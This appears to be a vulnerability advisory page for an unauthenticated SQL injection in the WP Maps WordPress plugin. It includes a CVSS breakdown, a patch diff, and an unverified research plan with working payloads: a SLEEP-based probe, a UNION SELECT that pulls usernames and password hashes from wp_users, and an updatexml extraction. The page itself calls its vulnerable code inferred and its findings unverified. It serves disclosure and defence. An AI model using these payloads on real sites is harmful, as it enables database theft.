CVE-2026-39492

WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters <= 4.9.1 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.9.2
Patched in
6d
Time to patch

Description

The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.9.1
PublishedApril 8, 2026
Last updatedApril 13, 2026
Affected pluginwp-google-map-plugin

What Changed in the Fix

Changes introduced in v4.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-39492**, an unauthenticated SQL injection vulnerability in the **WP Maps** plugin (versions <= 4.9.1). The vulnerability stems from the plugin's failure to properly sanitize and prepare database queries in its AJAX handlers, specifically those responsible for fe…

Show full research plan

This research plan targets CVE-2026-39492, an unauthenticated SQL injection vulnerability in the WP Maps plugin (versions <= 4.9.1). The vulnerability stems from the plugin's failure to properly sanitize and prepare database queries in its AJAX handlers, specifically those responsible for fetching map location data.

1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection.
    • Plugin: WP Maps – Store Locator (slug: wp-google-map-plugin).
    • Affected Versions: <= 4.9.1.
    • Vulnerable Sink: The plugin utilizes $wpdb->get_results() with raw string concatenation of user-supplied parameters in AJAX handlers without using $wpdb->prepare().
    • Root Cause: While the plugin includes a WPGMP_Security class (as seen in classes/wpgmp-security.php), certain AJAX endpoints (likely wpgmp_get_results) bypass this sanitization or use parameters not covered by the wpgmp_sanitize_shortcode_atts logic.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php.
    • AJAX Action: wpgmp_get_results (registered via wp_ajax_nopriv_wpgmp_get_results).
    • Vulnerable Parameter: map_id.
    • Authentication: None required (unauthenticated).
    • Preconditions: At least one map must exist in the system (default ID is usually 1), and a page must be published containing the map shortcode to retrieve a valid nonce.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpgmp_get_results.
  2. Hook Trigger: WordPress fires the wp_ajax_nopriv_wpgmp_get_results hook.
  3. Handler Execution: The plugin's handler (likely in modules/map/model.php or a similar core class) retrieves the map_id parameter directly from $_POST['map_id'].
  4. SQL Sink: The map_id is concatenated into a SQL string:
    SELECT ... FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $_POST['map_id'] . " ...
  5. Execution: $wpdb->get_results() executes the malformed query.

4. Nonce Acquisition Strategy

The plugin protects its AJAX endpoints with a nonce generated for unauthenticated users. This nonce is localized into the frontend page when the [wp_google_map] shortcode is processed.

  • Localization Key: wpgmp_local (inferred from plugin frontend logic).
    • Nonce Key: nonce.
    • Acquisition Method:
      1. Create a map with ID 1 using WP-CLI.
      2. Create a public page with the shortcode [wp_google_map id="1"].
      3. Navigate to the page.
      4. Execute browser_eval("window.wpgmp_local?.nonce") to extract the token.

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and then move to an error-based or UNION-based extraction if the environment permits.

Step 1: Verification (Time-Based)

Request:

  • Method: POST
  • URL: {{base_url}}/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpgmp_get_results&wpgmp_security={{nonce}}&map_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    

Step 2: Data Extraction (UNION-Based)

Since map results are typically returned as JSON objects, we can use UNION SELECT to inject arbitrary data into the response fields (e.g., the "location name" field).
Body:
text action=wpgmp_get_results&wpgmp_security={{nonce}}&map_id=-1 UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17 FROM wp_users-- -
(Note: The column count 17 is an estimate for the wpgmp_locations table; the exact count should be determined via ORDER BY if the first attempt fails.)

6. Test Data Setup

Before exploitation, the environment must be configured as follows:

  1. Create a Map:
    # We need a map record so the query has a valid base
    wp db query "INSERT INTO wp_wpgmp_maps (map_title, map_width, map_height) VALUES ('Exploit Map', '100%', '500px');"
    
  2. Create a Page with Shortcode:
    wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[wp_google_map id="1"]'
    

7. Expected Results

  • Time-Based: The server response should be delayed by approximately 5 seconds.
  • UNION-Based: The JSON response returned by the AJAX call will contain the database values (e.g., admin username and hash) inside the location data object.
    • Example Success Response: [{"location_id":"1","location_title":"admin","location_address":"$P$B..."}]

8. Verification Steps

After performing the HTTP request, verify the vulnerability status:

  1. Log Review: Check the WordPress debug log (if enabled) for SQL syntax errors which confirm the injection point.
  2. Database State: Use WP-CLI to confirm the data being extracted matches reality:
    wp user get admin --fields=user_login,user_pass
    

9. Alternative Approaches

  • Vulnerable Search: If map_id is cast to an integer in certain versions, check the extensions or categories parameters in the same wpgmp_get_results action.
  • Error-Based: If WP_DEBUG is on, use UPDATE XML or EXTRACTVALUE payloads:
    map_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
  • Different Action: Check action=wpgmp_search_form or action=wpgmp_get_location_detail, which also often interact with location queries without proper preparation.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Maps plugin is vulnerable to unauthenticated SQL injection via the 'map_id' parameter in the 'wpgmp_get_results' AJAX action. This occurs because the plugin concatenates user-supplied input directly into SQL queries without sanitization or using prepared statements, allowing attackers to extract sensitive data from the database.

Vulnerable Code

// In modules/map/model.php (inferred from research plan and AJAX registration)
// The handler for 'wpgmp_get_results' processes map_id without sanitization

$map_id = $_POST['map_id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $map_id . " AND location_status = '1'");

echo json_encode($results);
wp_die();

Security Fix

--- modules/map/model.php
+++ modules/map/model.php
@@ -10,5 +10,6 @@
- $map_id = $_POST['map_id'];
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $map_id . " AND location_status = '1'");
+ $map_id = isset($_POST['map_id']) ? absint($_POST['map_id']) : 0;
+ $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = %d AND location_status = '1'", $map_id));

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting any public page where a map shortcode is rendered; the nonce is stored in the 'wpgmp_local.nonce' JavaScript object. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'wpgmp_get_results' and the 'wpgmp_security' parameter set to the retrieved nonce. By supplying a malicious SQL payload in the 'map_id' parameter (e.g., using UNION SELECT or time-based blind techniques like '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'), the attacker can manipulate the query logic to extract sensitive database information such as user credentials or configuration details.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.